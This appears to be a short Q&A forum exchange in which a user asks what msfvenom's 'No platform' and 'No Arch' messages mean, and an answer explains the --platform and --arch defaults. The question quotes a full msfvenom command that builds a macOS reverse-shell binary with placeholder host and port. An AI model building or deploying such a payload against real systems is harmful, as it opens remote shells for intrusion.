I am trying to generate a reverse shell payload using msfvenom. When I run

msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho

which I found on this site, I get the following output:

No platform was selected, choosing Msf::Module::Platform::OSX from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 65 bytes
Final size of macho file: 20800 bytes

The file is generated, and it works fine, but I am wondering what the first two lines of that output mean. Is there anything I'm missing?

"Platform" stands for the OS platform of the payload, whether it is Windows, Linux, OSX, etc. you provide it with

--platform
"Arch" stands for processor architecture you are targeting (x86, x64). You use
--arch

    ... and the messages mean that msvenom used defaults for those settings
